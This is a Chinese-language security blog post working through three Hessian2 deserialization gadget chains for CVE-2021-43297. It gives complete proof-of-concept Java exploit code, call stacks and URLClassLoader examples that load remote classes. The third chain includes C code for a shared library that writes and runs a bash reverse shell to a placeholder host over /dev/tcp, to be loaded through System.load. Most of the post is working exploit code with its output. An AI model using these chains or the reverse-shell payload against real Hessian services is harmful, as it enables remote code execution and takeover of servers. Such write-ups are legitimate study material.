hessian2链子

Posted by Azeril on November 23, 2023
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.38</version>
</dependency>
hessian的依赖

项目在:K:\javafile\hessian2tiaoshi

第一条链子 CVE-2021-43297

漏洞在com.caucho.hessian.io.Hessian2Input#expect()这里

image-20231122194611938

并且有readObject()操作,接着一个String拼接,会调用toString

并且发现在com.caucho.hessian.io.Hessian2Input#readString()中就有expect()的调用

image-20231122194936333

只需要取上面没有条件的case就行了

这里取case 67的时候调用 readObjectDefinition 方法进入readString 直接baos写进去就可以了:

ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(baos);
baos.write(67);
output.writeObject(evilClass);
output.flushBuffer();

ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Hessian2Input input = new Hessian2Input(bais);
input.readObject();

调用栈如下:

expect:2880, Hessian2Input (com.caucho.hessian.io)
readString:1398, Hessian2Input (com.caucho.hessian.io)
readObjectDefinition:2180, Hessian2Input (com.caucho.hessian.io)
readObject:2122, Hessian2Input (com.caucho.hessian.io)

所以我们现在的目的就是找一个tostring开头通的链子。

PKCS9Attributes+SwingLazyValue+JavaWrapper._mian

toString方法—>getAttribute

image-20231122200758880

进入getAttribute方法看一下(会调用Hashtable.get方法)

PKCS9Attributes (sun.security.pkcs)getAttribute—->Hashtable.ge

image-20231122200833577

javax.swing.UIDefaluts#get—->getFromHashtable

image-20231122201716917

javax.swing.UIDefaluts#getFromHashtable—–>LazyValue#createValue

image-20231122201836968

sun.swing.SwingLazyValue

其实上面的调用完全是为了配合这个的调用因为它有invoke方法呀无敌!!!

image-20231122202037280

接下来就是找一个类,调用其静态public方法,找到:com.sun.org.apache.bcel.internal.util.JavaWrapper_mian方法 image-20231122202657856

image-20231122202754160

开始调试从底部

发现是一个bcel classloader,从逻辑可以看出来是加载指定类的_main方法

image-20231123095709596

需要注意的是ClassLoader#defineClass返回的类并不会初始化只有这个对象显式地调用其构造函数初始化代码才能被执行所以我们需要想办法调用返回的类的构造函数才能执行命令上面正好存在了invoke就不用担心了
public class payload {
    public static void main(String[] args) throws Exception {
        JavaClass evil = Repository.lookupClass(test.class);
        String payload = "$$BCEL$$" + Utility.encode(evil.getBytes(), true);
        String[] str=new String[8];
        str[0]=payload;
        JavaWrapper._main(str);
    }
}

考虑如何invoke调用_main方法

sun.swing.SwingLazyValue(初始方法,类方法参数直接传值美滋滋)

public Object createValue(UIDefaults var1) {
        try {
            ReflectUtil.checkPackageAccess(this.className);
            Class var2 = Class.forName(this.className, true, (ClassLoader)null);
            Class[] var3;
            if (this.methodName != null) {
                var3 = this.getClassArray(this.args);
                Method var6 = var2.getMethod(this.methodName, var3);
                this.makeAccessible(var6);
                
                return var6.invoke(var2, this.args);
                //_main.invoke(JavaWrapper,new Object{})
            } else {
                var3 = this.getClassArray(this.args);
                Constructor var4 = var2.getConstructor(var3);
                this.makeAccessible(var4);
                return var4.newInstance(this.args);
            }
        } catch (Exception var5) {
            return null;
        }
    }
public class payload {
    public static void main(String[] args) throws Exception {
        JavaClass evil = Repository.lookupClass(test.class);
        String payload = "$$BCEL$$" + Utility.encode(evil.getBytes(), true);
        String[] str=new String[8];
        str[0]=payload;

        SwingLazyValue main = new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper", "_main", new Object[]{str});
        UIDefaults uiDefaults=new UIDefaults();

        main.createValue(uiDefaults);
      //  JavaWrapper._main(str);
    }
}

继续往上面找谁调用了createValue

UIDefaults()的父类是Hashtable,但是这样压根获取不到 key name 的value值

image-20231123102542483

脑子抽了,都父类了,子调父类方法呗,压根不是一个实例对象(怎么可能调用到)

image-20231123103007884

谁调用了Hashtale的get方法

控制attributes的值即可,但是看了看构造方法并没有可控,反射???

就是卡在了如何获得构造方法这里( 看师傅们用了反射构造器的方法)

image-20231123103843983

相当于先构造了一个Object的,然后反射到指定的类(🐂)

   public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }

    public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        objCons.setAccessible(true);
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        sc.setAccessible(true);
        return (T) sc.newInstance(consArgs);
    }

最后的poc

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import sun.reflect.ReflectionFactory;
import sun.security.pkcs.PKCS9Attribute;
import sun.security.pkcs.PKCS9Attributes;
import sun.swing.SwingLazyValue;

import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;

public class Hessian_PKCS9Attributes_SwingLazyValue_JavaWrapper {
    public static void main(String[] args) throws Exception {
        PKCS9Attributes s = createWithoutConstructor(PKCS9Attributes.class);
        UIDefaults uiDefaults = new UIDefaults();
        JavaClass evil = Repository.lookupClass(test.class);
        String payload = "$$BCEL$$" + Utility.encode(evil.getBytes(), true);

        uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper", "_main", new Object[]{new String[]{payload}}));

        setFieldValue(s,"attributes",uiDefaults);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output out = new Hessian2Output(baos);
        baos.write(67);
        out.getSerializerFactory().setAllowNonSerializable(true);
        out.writeObject(s);
        out.flushBuffer();

        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        Hessian2Input input = new Hessian2Input(bais);
        input.readObject();
    }

    public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }

    public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        objCons.setAccessible(true);
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        sc.setAccessible(true);
        return (T) sc.newInstance(consArgs);
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

调用栈:

runMain:131, JavaWrapper (com.sun.org.apache.bcel.internal.util)
_main:153, JavaWrapper (com.sun.org.apache.bcel.internal.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
createValue:73, SwingLazyValue (sun.swing)
getFromHashtable:216, UIDefaults (javax.swing)
get:161, UIDefaults (javax.swing)
getAttribute:265, PKCS9Attributes (sun.security.pkcs)
toString:334, PKCS9Attributes (sun.security.pkcs)
    
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
expect:2880, Hessian2Input (com.caucho.hessian.io)
readString:1398, Hessian2Input (com.caucho.hessian.io)
readObjectDefinition:2180, Hessian2Input (com.caucho.hessian.io)
readObject:2122, Hessian2Input (com.caucho.hessian.io)
public class test {
    public static void _main(String[] argv) throws Exception {
        Runtime.getRuntime().exec("calc");
    }
}

(第二条链子)MimeTypeParameterList+SwingLazyValue+MethodUtil.invoke

大佬们又找到了另外一条链,javax.activation.MimeTypeParameterList

同样的Hashtable同样的get

image-20231123112622977

只不过末尾用的MethodUtil#invoke,不是BCEL加载器

image-20231123112830390

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import sun.swing.SwingLazyValue;

import javax.activation.MimeTypeParameterList;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class Hessian_MimeTypeParameterList_SwingLazyValue_MethodUtil {
    public static void main(final String[] args) throws Exception {
        UIDefaults uiDefaults = new UIDefaults();
        Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil").getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
        Method exec = Class.forName("java.lang.Runtime").getDeclaredMethod("exec", String.class);

        SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{"calc"}}});

        uiDefaults.put("key", slz);
        MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();

        setFieldValue(mimeTypeParameterList,"parameters",uiDefaults);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output output = new Hessian2Output(baos);
        baos.write(67);
        output.getSerializerFactory().setAllowNonSerializable(true);
        output.writeObject(mimeTypeParameterList);
        output.flushBuffer();

        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        Hessian2Input input = new Hessian2Input(bais);
        input.readObject();
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

其他链子没变(感兴趣的师傅们可以细跟一下)

invoke:275, MethodUtil (sun.reflect.misc)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
createValue:73, SwingLazyValue (sun.swing)
getFromHashtable:216, UIDefaults (javax.swing)
get:161, UIDefaults (javax.swing)
toString:253, MimeTypeParameterList (javax.activation)
    
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
expect:2880, Hessian2Input (com.caucho.hessian.io)
readString:1398, Hessian2Input (com.caucho.hessian.io)
readObjectDefinition:2180, Hessian2Input (com.caucho.hessian.io)
readObject:2122, Hessian2Input (com.caucho.hessian.io)

MimeTypeParameterList+ProxyLazyValue+DumpBytecode.dumpBytecode+System.load(第三条链子)

先普及一点知识

#include <stdlib.h>
#include <stdio.h>

void __attribute__ ((__constructor__))  aasdnqwgasdela1 (){

    system("echo '/bin/bash -i >& /dev/tcp/xxxxxxxx/9998 0>&1' > /tmp/1");
    system("/bin/bash /tmp/1");
}

然后System.load 执行就行了

gcc -c a.c -o a && gcc a –share -o a.so

好神奇之前在学jni的时候用过load但只是把dllc中的代码加载进来没想到so可以直接执行动态链接库

image-20231123120824855

这条链子仔细调一下,主要是想知道为什么classloader加载不到别的jar包呢

dumpBytecode:107, DumpBytecode (jdk.nashorn.internal.codegen)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:71, Trampoline (sun.reflect.misc)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:275, MethodUtil (sun.reflect.misc)
run:1108, UIDefaults$ProxyLazyValue$1 (javax.swing)
doPrivileged:-1, AccessController (java.security)
 

createValue:1087, UIDefaults$ProxyLazyValue (javax.swing)
    //下面的都是前面的demo直接拿来用
getFromHashtable:216, UIDefaults (javax.swing)
get:161, UIDefaults (javax.swing)
toString:290, MimeTypeParameterList (java.awt.datatransfer)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
expect:2880, Hessian2Input (com.caucho.hessian.io)
readString:1398, Hessian2Input (com.caucho.hessian.io)
readObjectDefinition:2180, Hessian2Input (com.caucho.hessian.io)
readObject:2122, Hessian2Input (com.caucho.hessian.io)

果真加载不到

image-20231123123838685

咦我不懂了(✌们说是加载器的原因,)

image-20231123124047860

可以发现class.forName(null)类加载器为null的时候加载不到(这里先停一下看的文章还没太看懂)

image-20231123161730659

大概是forName加载true会加载类的static静态方法null默认是类加载器只能加载器加载本包中的类 
但是因为ClassLoader的原因 在SwingLazyValue这里只能加载 rt.jar 里面的类而DumpBytecode类在 nashorn.jar 里面
最后找到ProxyLazyValue.createValue

image-20231123141318071

因为在这里必须要是LazyValue的类型

image-20231123181831689

然后看实现类,UIDefaults的内置类ProxyLazyvalue中的#createValue方法

它这里指定了加载器,然后invoke所以肯定能加载到的

image-20231123182312152

这里获取到classLoader ,所以就能正常加载nashorn.jar了,但由于 Hessian 序列化的机制,ProxyLazyValue里面的 field acc 在反序列化过程中会报错 , 所以需要将 acc 反射设置为null

我们可以写一个文件名为.class的so文件,然后使用System.load加载,因为System.load不管后缀是什么都可以执行

jdk.nashorn.internal.codegen.DumpBytecode#dumpBytecode

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import jdk.nashorn.internal.runtime.ScriptEnvironment;
import jdk.nashorn.internal.runtime.logging.DebugLogger;
import sun.misc.Unsafe;

import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Hessian_MimeTypeParameterList_ProxyLazyValue_DumpBytecode {
    public static void main(String[] args) throws Exception {
        Unsafe unsafe = getUnsafe();
        Object script = unsafe.allocateInstance(ScriptEnvironment.class);
        setFieldValue(script,"_dest_dir","/tmp/");
        Object debug=unsafe.allocateInstance(DebugLogger.class);
        byte[] code= Files.readAllBytes(Paths.get("./calc.so"));
        String classname="calc";

        //写文件
        UIDefaults.ProxyLazyValue proxyLazyValue = new UIDefaults.ProxyLazyValue("jdk.nashorn.internal.codegen.DumpBytecode", "dumpBytecode", new Object[]{
                script,
                debug,
                code,
                classname
        });

        //System.load加载so文件
//        UIDefaults.ProxyLazyValue proxyLazyValue = new UIDefaults.ProxyLazyValue("java.lang.System", "load", new Object[]{
//                "/tmp/calc.class"
//        });

        setFieldValue(proxyLazyValue,"acc",null);
        UIDefaults uiDefaults = new UIDefaults();
        uiDefaults.put("key", proxyLazyValue);

        Class clazz = Class.forName("java.awt.datatransfer.MimeTypeParameterList");
        Object mimeTypeParameterList = unsafe.allocateInstance(clazz);
        setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output out = new Hessian2Output(baos);
        baos.write(67);
        out.getSerializerFactory().setAllowNonSerializable(true);
        out.writeObject(mimeTypeParameterList);
        out.flushBuffer();

        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        Hessian2Input input = new Hessian2Input(bais);
        input.readObject();
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static Unsafe getUnsafe() throws Exception{
        Class<?> aClass = Class.forName("sun.misc.Unsafe");
        Constructor<?> declaredConstructor = aClass.getDeclaredConstructor();
        declaredConstructor.setAccessible(true);
        Unsafe unsafe= (Unsafe) declaredConstructor.newInstance();
        return unsafe;
    }
}
dumpBytecode:107, DumpBytecode (jdk.nashorn.internal.codegen)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:71, Trampoline (sun.reflect.misc)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:275, MethodUtil (sun.reflect.misc)
run:1108, UIDefaults$ProxyLazyValue$1 (javax.swing)
doPrivileged:-1, AccessController (java.security)
createValue:1087, UIDefaults$ProxyLazyValue (javax.swing)
getFromHashtable:216, UIDefaults (javax.swing)
get:161, UIDefaults (javax.swing)
toString:290, MimeTypeParameterList (java.awt.datatransfer)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
expect:2880, Hessian2Input (com.caucho.hessian.io)
readString:1398, Hessian2Input (com.caucho.hessian.io)
readObjectDefinition:2180, Hessian2Input (com.caucho.hessian.io)
readObject:2122, Hessian2Input (com.caucho.hessian.io)

先上传so文件,然后在load加载

浅析一下BCEL表达式

BCEL全名 Apache Commons BCEL,属于Apache Commons项目下的一个子项目。

BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。

在Java 8u251以后,就被删除了。

BCEL包中有个com.sun.org.apache.bcel.internal.util.ClassLoader,她是一个ClassLoader,但是她重写了Java内置的ClassLoader#loadClass()方法

如果存在 ``字符串就进入createClass方法

image-20231122210624839

image-20231122210919476

image-20231123093340173

总结

其实BCEL和其他类加载器的区别主要是有一个自己的加密解密逻辑但是最后依旧是defineClas加载字节码
$$BCEL$$ 在之前加任何字符都不会影响

利用URLClassLoader加载远程class文件

1、URL未以斜杠/结尾,则认为是一个JAR文件,使用 JarLoader 来寻找类,即为在Jar包中寻找.class文件(jar文件中直接包含class文件,可以使用命令 jar cvf Exp.jar Exp.class 进行打包)。

import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class loadClassFile {
    public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, IllegalAccessException, InstantiationException {
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:8000/Exp.jar")});
        // 会加载 http://127.0.0.1:8000/Exp.jar中的Exp.class
        Class<?> exp = urlClassLoader.loadClass("Exp");
        // 触发构造函数,弹计算器
        exp.newInstance();
    }
}

2、URL以斜杠/结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻找.class文件。

import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class loadClassFile {
    public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, IllegalAccessException, InstantiationException {
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:/Users/d4m1ts/d4m1ts/java/classloader/")});
        // 会加载 /Users/d4m1ts/d4m1ts/java/classloader/Exp.class
        Class<?> exp = urlClassLoader.loadClass("Exp");
        // 触发构造函数,弹计算器
        exp.newInstance();
    }
}

3、URL以斜杠/结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类.class文件。

import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class loadClassFile {
    public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, IllegalAccessException, InstantiationException {
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:8000/")});
        // 会加载 http://127.0.0.1:8000/Exp.class
        Class<?> exp = urlClassLoader.loadClass("Exp");
        // 触发构造函数,弹计算器
        exp.newInstance();
    }
}

Creative Commons License
本作品采用CC BY-NC-ND 4.0进行许可。转载,请注明原作者 Azeril 及本文源链接。